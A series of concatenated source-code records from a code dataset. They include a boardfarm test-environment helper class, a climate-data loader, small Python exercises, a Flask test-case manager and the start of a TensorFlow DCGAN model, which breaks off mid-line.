return False\n else:\n if env_test is None and env_helper is not None:\n return True\n elif env_test == env_helper:\n return True\n else:\n return False\n\n return True\n\n if not contained(test_environment, self.env):\n logger.error(\"---------------------\")\n logger.error(\" test case env: \")\n logger.error(test_environment)\n logger.error(\" env_helper : \")\n logger.error(self.env)\n logger.error(\"---------------------\")\n raise BftEnvMismatch()\n\n return True\n\n @staticmethod\n def env_devices(env_json):\n devices = {}\n\n # find all possible devices.\n # Selection criteria: they have a \"device_type\" key.\n # They're always found inside a list\n def find_device_arrays(env):\n nonlocal devices\n for k, v in env.items():\n if type(v) == dict:\n if \"device_type\" in v:\n devices[k] = [v]\n find_device_arrays(v)\n if type(v) == list and all(\n type(obj) == dict and \"device_type\" in obj for obj in v\n ):\n devices[k] = v\n\n find_device_arrays(env_json)\n return devices\n\n def get_update_image(self, mirror=True):\n \"\"\"Get the image update uri.\n\n returns the desired image to be updated for this to run against concatenated with the\n site mirror for software upgrade/downgrade test\n \"\"\"\n try:\n if mirror:\n return (\n self.mirror\n + self.env[\"environment_def\"][\"board\"][\"software_update\"][\n \"load_image\"\n ]\n )\n else:\n return self.env[\"environment_def\"][\"board\"][\"software_update\"][\n \"load_image\"\n ]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def get_update_image_version(self):\n \"\"\"Get the image version name from env for software update.\n\n returns the image version name for software update uniquely defined for an image\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"software_update\"][\n \"image_version\"\n ]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def get_alternative_image(self, mirror=True):\n \"\"\"Get the alternative image uri.\n\n returns the alternative image to be updated for this to run against concatenated with the\n site mirror for software upgrade/downgrade test\n \"\"\"\n try:\n if mirror:\n return (\n self.mirror\n + self.env[\"environment_def\"][\"board\"][\"software_alternative\"][\n \"load_image\"\n ]\n )\n else:\n return self.env[\"environment_def\"][\"board\"][\"software_alternative\"][\n \"load_image\"\n ]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def get_alternative_image_version(self):\n \"\"\"Get the alternative image version name from env for software update.\n\n returns the alternative image version name for software update uniquely defined for an image\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"software_alternative\"][\n \"image_version\"\n ]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def get_ertr_mode(self):\n return {\"max_config\": True}\n\n def get_country(self):\n \"\"\"This method returns the country name from env json.\n\n :return: possible values are NL,AT,CH,CZ,DE,HU,IE,PL,RO,SK\n :rtype: string\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"country\"]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def voice_enabled(self):\n \"\"\"This method returns true if voice is enabled in env JSON.\n\n :return: possible values are True/False\n :rtype: boolean\n \"\"\"\n try:\n return \"voice\" in self.env[\"environment_def\"]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def wifi_clients(self) -> list:\n \"\"\"Returns list of wifi clients from environment definition\n\n :rtype: list\n \"\"\"\n try:\n clients = self.env[\"environment_def\"][\"board\"][\"wifi_clients\"]\n except (KeyError, AttributeError):\n return list()\n return clients\n\n def has_lan_advertise_identity(self, idx):\n \"\"\"Return lan identity value defined in lan_clients of env else return False.\n\n :idx: lan client index from lan_clients to return corresponding value\n :type: integer\n\n :return: possible values are True/False\n :rtype: boolean\n \"\"\"\n\n try:\n return self.env[\"environment_def\"][\"board\"][\"lan_clients\"][idx][\n \"advertise_identity\"\n ]\n except (IndexError, KeyError, AttributeError):\n return False\n\n def get_mitm_devices(self):\n \"\"\"\n returns list of mitm'ed devices of the desired environment.\n \"\"\"\n try:\n devices = self.env[\"environment_def\"][\"mitm\"]\n except (KeyError, AttributeError):\n return list()\n return devices\n\n def mitm_enabled(self):\n \"\"\"Flag to see if we have any devices mitm'ed\n\n :return: True if at least 1 device mitm'ed, False otherwise\n \"\"\"\n return bool(self.get_mitm_devices())\n\n def get_tr069_provisioning(self):\n \"\"\"Return list of ACS APIs to be executed during tr069 provisioning.\n\n :return: object containing list ACS APIs to call for provisioning\n :rtype: dictionary\n \"\"\"\n\n try:\n return self.env[\"environment_def\"][\"tr-069\"][\"provisioning\"]\n except (KeyError, AttributeError):\n return False\n\n def get_dns_dict(self):\n \"\"\"Returns the dict of reachable and unreachable IP address from DNS.\n\n :return: number of reachable and unreachable IP address to be fetched from DNS\n :rtype: dictionary\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"DNS\"]\n except (KeyError, AttributeError):\n return False\n\n def get_board_sku(self):\n \"\"\"Returns the [\"environment_def\"][\"board\"][\"SKU\"] value\n :return: SKU values from eval list\n :rtype: String\"\"\"\n\n try:\n return self.env[\"environment_def\"][\"board\"][\"SKU\"]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def has_board_sku(self):\n \"\"\"Returns True if [\"environment_def\"][\"board\"][\"SKU\"] exists\n :return: possible values are True/False\n :rtype: bool\"\"\"\n try:\n self.get_board_sku()\n return True\n except BftEnvExcKeyError:\n return False\n\n def get_board_gui_language(self):\n \"\"\"Returns the [\"environment_def\"][\"board\"][\"GUI_Language\"] value\n :return: GUI_Language values from eval list\n :rtype: String\"\"\"\n\n try:\n return self.env[\"environment_def\"][\"board\"][\"GUI_Language\"]\n except (KeyError, AttributeError) as GUILangError:\n raise BftEnvExcKeyError from GUILangError\n\n def has_board_gui_language(self):\n \"\"\"Returns True if [\"environment_def\"][\"board\"][\"GUI_Language\"] exists\n :return: possible values are True/False\n :rtype: bool\"\"\"\n try:\n self.get_board_gui_language()\n return True\n except BftEnvExcKeyError:\n return False\n\n def is_production_image(self):\n return (\n self.env[\"environment_def\"][\"board\"][\"software\"][\"image_uri\"].find(\"NOSH\")\n != -1\n )\n\n def dhcp_options(self):\n \"\"\"Returns the [\"environment_def\"][\"provisioner\"][\"options\"].\n\n :return: return list of DHCPv4 and DHCPv6 option\n :rtype: dict\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"provisioner\"][\"options\"]\n except (KeyError, AttributeError):\n return dict()\n\n def vendor_encap_opts(self, ip_proto=None):\n \"\"\"Check vendor specific option for ACS URL is specified in env\n\n :return: return True if dhcp option for acs url is configured\n :rtype: bool\n \"\"\"\n dhcp_options = self.dhcp_options()\n if ip_proto == \"ipv4\" and 125 in dhcp_options.get(\"dhcpv4\", []):\n return True\n elif ip_proto == \"ipv6\" and 17 in dhcp_options.get(\"dhcpv6\", []):\n return True\n return False\n\n def get_board_boot_file_mta(self):\n \"\"\"Returns the [\"environment_def\"][\"board\"][\"emta\"][\"boot_file_mta\"] value\n :return: the emta boot file value as a string\n :rtype: String\"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"emta\"][\"boot_file_mta\"]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def has_board_boot_file_mta(self):\n \"\"\"Returns True if [\"environment_def\"][\"board\"][\"emta\"][\"boot_file_mta\"] exists\n :return: possible values are True/False\n :rtype: bool\"\"\"\n try:\n self.get_board_boot_file_mta()\n return True\n except BftEnvExcKeyError:\n return False\n\n def get_external_voip(self):\n \"\"\"Return the [\"environment_def\"][\"voice\"][\"EXT_VOIP\"] value\n\n :return: External VoIP entries\n :rtype: list\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"voice\"][\"EXT_VOIP\"]\n except (KeyError, AttributeError):\n return False\n\n def get_cwmp_version(self):\n \"\"\"Return the [\"environment_def\"][\"board\"][\"cwmp_version\"]\n\n :return: CWMP version of DUT\n :rtype: str\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"cwmp_version\"]\n except (KeyError, AttributeError):\n return False\n\n def get_board_model(self) -> str:\n \"\"\"Return the [\"environment_def\"][\"board\"][\"model\"]\n\n :return: Board model\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"model\"]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError(\"Unable to find board.model entry in env.\")\n\n def get_provisioner_options(\n self,\n ) -> Dict[Optional[str], Optional[Union[str, int]]]:\n \"\"\"Return Dict of options on provisioner from environment definition\n\n :return: List of dhcpv4 options\n :rtype: Dict[Optional[str], Optional[Union[str, int]]]\n \"\"\"\n return (\n self.env.get(\"environment_def\", {})\n .get(\"provisioner\", {})\n .get(\"options\", {})\n )\n\n def is_route_gateway_valid(self) -> bool:\n \"\"\"check if valid dhcp gateways ip configurations should be deployed\n\n :return: return True if dhcp option route_gateway is valid else False\n :rtype: bool\n \"\"\"\n return self.get_provisioner_options().get(\"route_gateway\", None) != \"invalid\"\n\n def get_mta_config(self):\n \"\"\"Returns the [\"environment_def\"][\"voice\"][\"mta_config_boot\"][\"snmp_mibs\"] values\n :return: the vendor specific mta dict\n :rtype: list, bool if Key/Attribure Error\"\"\"\n\n try:\n return self.env[\"environment_def\"][\"voice\"][\"mta_config_boot\"][\"snmp_mibs\"]\n except (KeyError, AttributeError):\n return False\n\n def get_emta_config_template(self):\n \"\"\"Return the [\"environment_def\"][\"board\"][\"emta\"][\"config_template\"] value\n :return: emta config template ex: \"CH_Compal\"\n :rtype: string\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"emta\"][\"config_template\"]\n except (KeyError, AttributeError):\n return False\n\n def get_emta_interface_status(self):\n \"\"\"Return the [\"environment_def\"][\"board\"][\"emta\"][\"interface_status\"] value\n :return: emta interface status ex: \"down\"\n :rtype: string\n \"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"emta\"][\"interface_status\"]\n except (KeyError, AttributeError):\n return False\n\n def get_lan_client_options(self) -> List[Dict]:\n \"\"\"get lan client options\n\n :return: client options for all lan client\n :rtype: dict\n \"\"\"\n return (\n self.env.get(\"environment_def\", {}).get(\"board\", {}).get(\"lan_clients\", {})\n )\n\n def is_set_static_ipv4(self, idx) -> bool:\n \"\"\"check if static ipv4 assignment is enabled\n\n :return: return True if dhcpv4 option static_ipv4 is true else False\n :rtype: bool\n \"\"\"\n try:\n return self.get_lan_client_options()[idx].get(\"static_ipv4\")\n except (IndexError, KeyError, AttributeError):\n return False\n\n def get_value(self, key: str) -> Optional[Dict[str, Any]]:\n \"\"\"Return the value of the key provided.\n\n :return: The value of the key provided\n :rtype: Union[Dict[str,Any], bool]\n \"\"\"\n try:\n return self.env[\"environment_def\"][key]\n except (KeyError, AttributeError):\n return None\n","sub_path":"boardfarm/lib/env_helper.py","file_name":"env_helper.py","file_ext":"py","file_size_in_byte":22615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"323144686","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 22 09:51:03 2020\n\n@author: luke\n\"\"\"\n\n\n#%%==============================================================================\n# IMPORT\n#==============================================================================\n\nimport numpy as np\nimport xarray as xr\nfrom scipy import signal, stats\nimport os\nimport sys\nimport subprocess\nimport PyDnA as pda\nimport scipy.linalg as spla\nimport scipy.stats as sps\nfrom random import shuffle\n\n#==============================================================================\n# FUNCTION\n#==============================================================================\n\ndef data_loader(inDIR,piDIR,obsDIR,var,fp_scen,window,block):\n \n \n# =============================================================================\n# inDIR -> directory with RCP fp data\n# piDIR -> directory with ctl data (also to be used as fp if chosen)\n# obsDIR -> directory with observations (y)\n# var -> watertemp, icestart, iceend or icedur choice for scaling factors\n# fp_scen -> rcp85,rcp60,ctl options as strings \"rcp85\", \"rcp60\" and \"ctl\" for scaling factor\n# =============================================================================\n \n \n fp_files = []\n pi_files = []\n fp_data = []\n pi_data = []\n \n\n # access all historical+,8.5 files separate\n os.chdir(inDIR)\n for file in [file for file in sorted(os.listdir(inDIR))\\\n if var in file and fp_scen in file]:\n fp_files.append(file)\n \n for file in fp_files:\n fp_data.append(pda.reader(file,window,block)) \n \n fp_mmm = pda.ensembler(fp_data)\n \n # access all ctrl files\n os.chdir(piDIR)\n for file in [file for file in sorted(os.listdir(piDIR))\\\n if var in file]:\n pi_files.append(file)\n shuffle(pi_files)\n \n for file in pi_files:\n pi_data.append(pda.reader(file,window,block)) \n \n \n # access obs\n os.chdir(obsDIR)\n era5_watertemp_file = 'era5-land_lmlt_fldmean_1981_2018.nc'\n era5_icestart_file = 'era5-land_icestart_fldmean_1981_2018.nc'\n era5_iceend_file = 'era5-land_iceend_fldmean_1981_2018.nc'\n era5_icedur_file = 'era5-land_icedur_fldmean_1981_2018.nc'\n \n if var == 'watertemp':\n obs = pda.reader(obsDIR+'/'+era5_watertemp_file,window,block)\n elif var == 'icestart':\n obs = pda.reader(obsDIR+'/'+era5_icestart_file,window,block)\n elif var == 'iceend':\n obs = pda.reader(obsDIR+'/'+era5_iceend_file,window,block)\n elif var == 'icedur':\n obs = pda.reader(obsDIR+'/'+era5_icedur_file,window,block)\n \n \n # data management for da\n obs = obs.values\n if fp_scen == 'rcp60' or fp_scen == 'rcp85':\n nx = np.array(([len(fp_data)]))\n elif fp_scen == 'ctl':\n nx = np.array(([len(pi_data)]))\n ctl_list = []\n for array in pi_data:\n ctl_list.append(array.values)\n ctl = np.stack(ctl_list,axis=0)\n fp = np.stack([fp_mmm.values],axis=0)\n \n \n return obs,fp,ctl,nx\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n","sub_path":"python/part2/plot/da_flex.py","file_name":"da_flex.py","file_ext":"py","file_size_in_byte":3104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"360799642","text":"\"\"\"\r\n\n\nA fruit juice company tags their fruit juices by concatenating the first\n**three letters** of the words in a flavor's name, with its capacity.\n\nCreate a function that creates product IDs for different fruit juices.\n\n### Examples\n\n get_drink_ID(\"apple\", \"500ml\") ➞ \"APP500\"\n \n get_drink_ID(\"pineapple\", \"45ml\") ➞ \"PIN45\"\n \n get_drink_ID(\"passion fruit\", \"750ml\") ➞ \"PASFRU750\"\n\n### Notes\n\n * Capacity will be given as a string, and will always be given in **ml**.\n * Return the letters in **UPPERCASE**.\n\n\"\"\"\r\n\ndef get_drink_ID(flavor, ml):\n addition = ml.replace('ml','')\n words = flavor.split(' ')\n emptystring = \"\"\n for eachword in words:\n emptystring += eachword[0:3]\n return '{}{}'.format(emptystring.upper(),addition)\n\n","sub_path":"Mv5qSgZKTLrLt9zzW_17.py","file_name":"Mv5qSgZKTLrLt9zzW_17.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"214563127","text":"def odwracanie(L, left, right):\r\n i=left\r\n j=right\r\n while i!=j:\r\n L[i], L[j] = L[j], L[i]\r\n i+=1\r\n j-=1\r\n return L\r\n\r\nX=[1,2,3,4,5]\r\nprint(X)\r\nprint(odwracanie(X,0,4))\r\n\r\ndef odwracanie_rek(L, left, right):\r\n\r\n if left!=right:\r\n L[left], L[right] = L[right], L[left]\r\n odwracanie_rek(L,left+1,right-1)\r\n return L\r\nX=[1,2,3,4,5]\r\nprint(odwracanie_rek(X,0,4))\r\n\r\n","sub_path":"4.5.py","file_name":"4.5.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"511017248","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/10/12 16:22\n# @Author : zhuxiangtao\n# @FileName: case_manager.py\n# @Software: PyCharm\n\nimport traceback\nfrom app import db\nfrom app.models import TestCase\nfrom pymysql import DatabaseError\n\n\nclass TestCaseManager(object):\n\n def add_test_case(self, name, creater, method, url, suite_id, uid, description = None,\n params = None, headers = None, data = None, files = None, prescripts = None, postscripts = None):\n case = TestCase()\n case.name = name\n case.creater = creater\n case.method = method\n case.url = url\n case.suite_id = suite_id\n case.uid = uid\n if description: case.description = description\n if params: case.params = params\n if headers: case.headers = headers\n if data: case.data = data\n if files: case.files = files\n if prescripts: case.prescripts = prescripts\n if postscripts: case.postscripts = postscripts\n\n try:\n db.session.add(case)\n db.session.commit()\n return {\"status\": \"success\", \"msg\": \"Add test case success\"}\n except DatabaseError:\n db.session.rollback()\n return {\"status\": \"fail\", \"msg\": \"Add or edit test case fail\", \"reason\": traceback.format_exc()}\n\n\n def edit_test_case(self, case_id, name, creater, method, url, description = None,\n params = None, headers = None, data = None, files = None, prescripts = None, postscripts = None):\n case = TestCase.query.filter_by(id=case_id).first()\n return self.add_test_case(name, creater, method, url, case.suite_id, case.uid, description, params,\n headers, data, files, prescripts, postscripts)\n\n\n def delete_test_case(self, case_id):\n case = TestCase.query.filter_by(id = case_id).first()\n case_info = self.get_test_case_info(case)\n try:\n db.session.delete(case)\n db.session.commit()\n return {\"status\": \"success\", \"msg\": \"Delete test case success\", \"data\": case_info}\n except DatabaseError:\n db.session.rollback()\n return {\"status\": \"fail\", \"msg\": \"Delete case suite fail\", \"data\": case_info, \"reason\": traceback.format_exc()}\n\n\n def find_test_case(self, case_id = None):\n if case_id:\n case = TestCase.query.filter_by(id = case_id).first()\n case_info = self.get_test_case_info(case)\n return {\"status\": \"success\", \"msg\": \"Query test case success\", \"data\": case_info}\n else:\n case_info_list = list()\n cases = TestCase.query.all()\n for case in cases:\n case_info = self.get_test_case_info(case)\n case_info_list.append(case_info)\n return {\"status\": \"fail\", \"msg\": \"Query test case fail\", \"data\": case_info_list}\n\n def get_test_case_info(self, case_obj):\n case_info = dict()\n case_info[\"id\"] = case_obj.id\n case_info[\"name\"] = case_obj.name\n case_info[\"creater\"] = case_obj.creater\n case_info[\"description\"] = case_obj.description\n case_info[\"method\"] = case_obj.method\n case_info[\"url\"] = case_obj.url\n case_info[\"params\"] = case_obj.params\n case_info[\"headers\"] = case_obj.headers\n case_info[\"data\"] = case_obj.data\n case_info[\"files\"] = case_obj.files\n case_info[\"prescripts\"] = case_obj.prescripts\n case_info[\"postscripts\"] = case_obj.postscripts\n case_info[\"suite_id\"] = case_obj.suite_id\n case_info[\"uid\"] = case_obj.uid\n case_info[\"responses\"] = case_obj.responses.all()\n return case_info","sub_path":"app/case_manager.py","file_name":"case_manager.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"9640863","text":"# Hint: You may not need all of these. Remove the unused functions.\nfrom hashtables import (HashTable,\n hash_table_insert,\n hash_table_remove,\n hash_table_retrieve,\n hash_table_resize)\n\n\ndef get_indices_of_item_weights(weights, length, limit):\n ht = HashTable(16)\n\n \"\"\"\n YOUR CODE HERE\n \"\"\"\n # For loop: for i in range of 0 and the length of the weights.\n for i in range(0, len(weights)):\n \n # Set wt to weights[i]\n wt = weights[i]\n \n # set retrieve to hash table retrieve `limit - weight`\n retrieve = hash_table_retrieve(ht, limit - wt)\n \n if retrieve is None:\n # then return hash table insert\n hash_table_insert(ht, wt, i)\n \n print(f'Weight Index: {i} Value: {wt}')\n # Otherwise\n else:\n # return i, and retrieve\n return (i, retrieve)\n \n\n return None\n\n\ndef print_answer(answer):\n if answer is not None:\n print(str(answer[0] + \" \" + answer[1]))\n else:\n print(\"None\")\n\n# test\ntest_weights = [2, 4, 6, 8]\nprint(get_indices_of_item_weights(test_weights, 5, 21))","sub_path":"hashtables/ex1/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"213915467","text":"import signal\nfrom ops_alex_exp73 import *\nfrom ops_coordconv_exp73 import *\nfrom utils_dcgan import *\nfrom utils_common import *\nfrom input_pipeline import *\n# from tensorflow.contrib.receptive_field import receptive_field_api as receptive_field\nfrom autoencoder_dblocks_exp73 import encoder_dense, decoder_dense\nfrom patch_gan_discriminator_exp73 import Deep_PatchGAN_Discrminator\nfrom constants import *\nimport numpy as np\nfrom scipy.misc import imsave\nimport traceback\nimport csv\nfrom random import randint\n\nclass DCGAN(object):\n\n def __init__(self, sess, params,\n batch_size=256, sample_size = 64, epochs=1000, image_shape=[256, 256, 3],\n y_dim=None, z_dim=0, gf_dim=128, df_dim=64,\n gfc_dim=512, dfc_dim=1024, c_dim=3, cg_dim=1,\n is_train=True, random_seed=4285):\n \"\"\"\n\n Args:\n sess: TensorFlow session\n batch_size: The size of batch. Should be specified before training.\n y_dim: (optional) Dimension of dim for y. [None]\n z_dim: (optional) Dimension of dim for Z. [100]\n gf_dim: (optional) Dimension of gen filters in first conv layer. [128]\n df_dim: (optional) Dimension of discrim filters in first conv layer. [64]\n gfc_dim: (optional) Dimension of gen untis for for fully connected layer. [1024]\n dfc_dim: (optional) Dimension of discrim units for fully connected layer. [1024]\n c_dim: (optional) Dimension of image color. [3]\n \"\"\"\n self.model_name = \"DCGAN.model\"\n self.sess = sess\n self.batch_size = batch_size\n self.sample_size = sample_size\n self.epochs = epochs\n\n self.image_shape = image_shape\n self.image_size = image_shape[0]\n\n self.y_dim = y_dim\n self.z_dim = z_dim\n self.z = None\n\n self.gf_dim = gf_dim\n \"\"\" gf_dim: Dimension of gen (ie decoder of AE) filters in first conv layer. [128] \"\"\"\n self.df_dim = df_dim\n \"\"\" df_dim: Dimension of discrim (ie Dsc + encoder of AE) filters in first conv layer. [64] \"\"\"\n\n self.gfc_dim = gfc_dim\n \"\"\" as of 28.9: not used \"\"\"\n self.dfc_dim = dfc_dim\n \"\"\" as of 28.9: not used \"\"\"\n\n self.c_dim = c_dim\n \"\"\" c_dim: Dimension of image color. [3] \"\"\"\n self.cg_dim = cg_dim\n \"\"\" as of 28.9: not used \"\"\"\n\n self.params = params\n\n self.d_bn1 = batch_norm(is_train, name='d_bn1')\n self.d_bn2 = batch_norm(is_train, name='d_bn2')\n self.d_bn3 = batch_norm(is_train, name='d_bn3')\n self.d_bn4 = batch_norm(is_train, name='d_bn4')\n\n self.c_bn1 = batch_norm(is_train, name='c_bn1')\n self.c_bn2 = batch_norm(is_train, name='c_bn2')\n self.c_bn3 = batch_norm(is_train, name='c_bn3')\n self.c_bn4 = batch_norm(is_train, name='c_bn4')\n self.c_bn5 = batch_norm(is_train, name='c_bn5')\n\n # self.g_s_bn5 = batch_norm(is_train,convolutional=False, name='g_s_bn5')\n\n self.end = False\n\n self.random_seed = random_seed\n\n # exp74:\n self.useIRefAndMixForGanLoss = False \n self.lambda_mix = 0.50\n self.lambda_ref = 0.50\n\n self.build_model()\n\n\n def build_model(self):\n print(\"build_model() ------------------------------------------>\")\n if self.y_dim:\n self.y = tf.placeholder(tf.float32, [None, self.y_dim], name='y')\n\n tf.set_random_seed(self.random_seed)\n\n image_size = self.image_size\n\n isIdeRun = 'lz826' in os.path.realpath(sys.argv[0])\n file_train = self.params.tfrecords_path if not isIdeRun else 'data/train-00011-of-00060.tfrecords'\n\n ####################################################################################\n reader = tf.TFRecordReader()\n rrm_fn = lambda name : read_record_max(name, reader, image_size)\n filenames, train_images, t1_10nn_ids, t1_10nn_subids, t1_10nn_L2, t2_10nn_ids, t2_10nn_subids, t2_10nn_L2, t3_10nn_ids, t3_10nn_subids, t3_10nn_L2, t4_10nn_ids, t4_10nn_subids, t4_10nn_L2 = \\\n get_pipeline(file_train, self.batch_size, self.epochs, rrm_fn)\n print('train_images.shape..:', train_images.shape)\n self.fnames_I_ref = filenames\n self.images_I_ref = train_images\n\n # create tiles for I_ref (only for logging purposes)\n tile_size = image_size / 2\n assert tile_size.is_integer()\n tile_size = int(tile_size)\n self.I_ref_t1 = tf.image.crop_to_bounding_box(self.images_I_ref, 0, 0, tile_size, tile_size)\n self.I_ref_t2 = tf.image.crop_to_bounding_box(self.images_I_ref, 0, tile_size, tile_size, tile_size)\n self.I_ref_t3 = tf.image.crop_to_bounding_box(self.images_I_ref, tile_size, 0, tile_size, tile_size)\n self.I_ref_t4 = tf.image.crop_to_bounding_box(self.images_I_ref, tile_size, tile_size, tile_size, tile_size)\n\n t1_10nn_ids = tf.reshape(tf.sparse.to_dense(t1_10nn_ids), (self.batch_size, -1))\n t2_10nn_ids = tf.reshape(tf.sparse.to_dense(t2_10nn_ids), (self.batch_size, -1))\n t3_10nn_ids = tf.reshape(tf.sparse.to_dense(t3_10nn_ids), (self.batch_size, -1))\n t4_10nn_ids = tf.reshape(tf.sparse.to_dense(t4_10nn_ids), (self.batch_size, -1))\n\n t1_10nn_subids = tf.reshape(tf.sparse.to_dense(t1_10nn_subids), (self.batch_size, -1))\n t2_10nn_subids = tf.reshape(tf.sparse.to_dense(t2_10nn_subids), (self.batch_size, -1))\n t3_10nn_subids = tf.reshape(tf.sparse.to_dense(t3_10nn_subids), (self.batch_size, -1))\n t4_10nn_subids = tf.reshape(tf.sparse.to_dense(t4_10nn_subids), (self.batch_size, -1))\n\n t1_10nn_L2 = tf.reshape(tf.sparse.to_dense(t1_10nn_L2), (self.batch_size, -1))\n t2_10nn_L2 = tf.reshape(tf.sparse.to_dense(t2_10nn_L2), (self.batch_size, -1))\n t3_10nn_L2 = tf.reshape(tf.sparse.to_dense(t3_10nn_L2), (self.batch_size, -1))\n t4_10nn_L2 = tf.reshape(tf.sparse.to_dense(t4_10nn_L2), (self.batch_size, -1))\n\n nn_id = tf.random_uniform([self.batch_size], 0, 9, dtype=tf.int32, seed=4285)\n\n path = self.params.full_imgs_path if not isIdeRun else 'D:\\\\learning-object-representations-by-mixing-scenes\\\\src\\\\datasets\\\\coco\\\\2017_training\\\\version\\\\v4\\\\full\\\\'\n path = tf.constant(path)\n filetype = tf.constant(\".jpg\")\n\n # kNN images of quadrant t1 ############################################################################################\n # path_prefix_t1 = path + tf.constant(\"/t1/\")\n\n for id in range(self.batch_size):\n t1_10nn_ids_b = t1_10nn_ids[id]\n index = nn_id[id]\n t1_10nn_id = tf.gather(t1_10nn_ids_b, index)\n t1_10nn_id_str = tf.as_string(t1_10nn_id)\n t1_10nn_subids_b = t1_10nn_subids[id]\n t1_10nn_subid = tf.gather(t1_10nn_subids_b, index)\n t1_10nn_subid_str = tf.as_string(t1_10nn_subid)\n postfix = underscore + t1_10nn_subid_str + filetype\n fname = get_coco_filename(t1_10nn_id_str, postfix)\n t1_10nn_fnames = fname if id == 0 else tf.concat(axis=0, values=[t1_10nn_fnames, fname])\n self.images_t1_fnames = t1_10nn_fnames\n with tf.control_dependencies([tf.assert_equal(self.batch_size, t1_10nn_fnames.shape[0]), tf.assert_equal(tf.strings.length(t1_10nn_fnames), 18)]):\n t1_10nn_fnames = tf.strings.join([path, t1_10nn_fnames])\n\n for id in range(self.batch_size):\n file = tf.read_file(t1_10nn_fnames[id])\n file = tf.image.decode_jpeg(file)\n file = resize_img(file, image_size, self.batch_size)\n file = tf.expand_dims(file, 0)\n t1_10nn_images = file if id == 0 else tf.concat(axis=0, values=[t1_10nn_images, file])\n self.images_t1 = t1_10nn_images\n # create tile for I_t1 (only for logging purposes)\n self.I_t1_tile = tf.image.crop_to_bounding_box(self.images_t1, 0, 0, tile_size, tile_size)\n\n\n # kNN images of quadrant t2 ############################################################################################\n for id in range(self.batch_size):\n t2_10nn_ids_b = t2_10nn_ids[id]\n index = nn_id[id]\n t2_10nn_id = tf.gather(t2_10nn_ids_b, index)\n t2_10nn_id_str = tf.as_string(t2_10nn_id)\n t2_10nn_subids_b = t2_10nn_subids[id]\n t2_10nn_subid = tf.gather(t2_10nn_subids_b, index)\n t2_10nn_subid_str = tf.as_string(t2_10nn_subid)\n postfix = underscore + t2_10nn_subid_str + filetype\n fname = get_coco_filename(t2_10nn_id_str, postfix)\n t2_10nn_fnames = fname if id == 0 else tf.concat(axis=0, values=[t2_10nn_fnames, fname])\n self.images_t2_fnames = t2_10nn_fnames\n with tf.control_dependencies([tf.assert_equal(self.batch_size, t2_10nn_fnames.shape[0]), tf.assert_equal(tf.strings.length(t2_10nn_fnames), 18)]):\n t2_10nn_fnames = tf.strings.join([path, t2_10nn_fnames])\n for id in range(self.batch_size):\n file = tf.read_file(t2_10nn_fnames[id])\n file = tf.image.decode_jpeg(file)\n file = resize_img(file, image_size, self.batch_size)\n file = tf.expand_dims(file, 0)\n t2_10nn_images = file if id == 0 else tf.concat(axis=0, values=[t2_10nn_images, file])\n self.images_t2 = t2_10nn_images\n # create tile for I_t2 (only for logging purposes)\n self.I_t2_tile = tf.image.crop_to_bounding_box(self.images_t2, 0, tile_size, tile_size, tile_size)\n\n\n # kNN images of quadrant t3 ############################################################################################\n for id in range(self.batch_size):\n t3_10nn_ids_b = t3_10nn_ids[id]\n index = nn_id[id]\n t3_10nn_id = tf.gather(t3_10nn_ids_b, index)\n t3_10nn_id_str = tf.as_string(t3_10nn_id)\n t3_10nn_subids_b = t3_10nn_subids[id]\n t3_10nn_subid = tf.gather(t3_10nn_subids_b, index)\n t3_10nn_subid_str = tf.as_string(t3_10nn_subid)\n postfix = underscore + t3_10nn_subid_str + filetype\n fname = get_coco_filename(t3_10nn_id_str, postfix)\n t3_10nn_fnames = fname if id == 0 else tf.concat(axis=0, values=[t3_10nn_fnames, fname])\n self.images_t3_fnames = t3_10nn_fnames\n with tf.control_dependencies([tf.assert_equal(self.batch_size, t3_10nn_fnames.shape[0]), tf.assert_equal(tf.strings.length(t3_10nn_fnames), 18)]):\n t3_10nn_fnames = tf.strings.join([path, t3_10nn_fnames])\n for id in range(self.batch_size):\n file = tf.read_file(t3_10nn_fnames[id])\n file = tf.image.decode_jpeg(file)\n file = resize_img(file, image_size, self.batch_size)\n file = tf.expand_dims(file, 0)\n t3_10nn_images = file if id == 0 else tf.concat(axis=0, values=[t3_10nn_images, file])\n self.images_t3 = t3_10nn_images\n # create tile for I_t3 (only for logging purposes)\n self.I_t3_tile = tf.image.crop_to_bounding_box(self.images_t3, tile_size, 0, tile_size, 